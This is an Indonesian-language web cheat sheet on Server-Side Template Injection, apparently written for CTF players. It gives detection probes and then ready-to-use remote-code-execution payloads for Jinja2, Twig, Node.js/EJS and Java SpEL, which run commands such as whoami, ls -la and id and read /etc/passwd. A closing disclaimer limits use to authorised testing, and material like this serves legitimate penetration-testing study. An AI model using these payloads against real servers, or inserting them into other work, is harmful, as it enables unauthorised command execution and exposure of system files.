Skip to content

Server-Side Template Injection (SSTI) - RCE via Templates

Server-Side Template Injection (SSTI) - RCE via Templates

Section titled “Server-Side Template Injection (SSTI) - RCE via Templates”

Server-Side Template Injection (SSTI) terjadi ketika input pengguna tidak disanitasi dengan benar dan langsung dimasukkan ke dalam template engine di server. Hal ini memungkinkan penyerang menyuntikkan direktif template yang valid, yang dapat dimanipulasi untuk membaca variabel internal, membocorkan source code, atau mencapai Remote Code Execution (RCE).

Berbeda dengan XSS yang dieksekusi di browser korban, SSTI dieksekusi di server.

Langkah pertama adalah mengidentifikasi apakah input diproses oleh template engine. Gunakan ekspresi matematika sederhana. Jika server mengembalikan hasil perhitungan (misal 49), maka kemungkinan rentan.

{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}

Jika input {{7*7}} menghasilkan:

  • 49: Vulnerable (Jinja2, Twig, dll).
  • {{7*7}}: Not Vulnerable (Plain text).
  • Error: Mungkin Vulnerable (Syntax error di engine).

Target paling umum di CTF.

{{7*'7'}}
# Output: 7777777 (Jinja2 mengulang string)
{{ config.items() }}

Payload klasik untuk memanggil subprocess.Popen atau os.popen.

Menggunakan __class__.__mro__ (Method Resolution Order):

{{ ''.__class__.__mro__[1].__subclasses__()[401]("whoami", shell=True, stdout=-1).communicate() }}
# Catatan: Indeks [401] bisa berubah tergantung versi Python/Library. Perlu enumerasi.

Payload Universal (Cycler / Self-contained): Payload ini lebih stabil karena mencari class subprocess.Popen secara dinamis tanpa bergantung pada indeks hardcoded.

{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').popen("ls -la").read()}}
{% endif %}
{% endfor %}
{{7*7}}
# Output: 49

Versi Twig modern mungkin membatasi akses _self.

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|map('system')|join}}
<%= global.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString() %>

5. Java - Thymeleaf / Spring (SpEL Injection)

Section titled “5. Java - Thymeleaf / Spring (SpEL Injection)”
${7*7}
${T(java.lang.Runtime).getRuntime().exec('id')}

⚠️ Educational Purpose Only. Use these payloads only on systems you own or have explicit permission to test.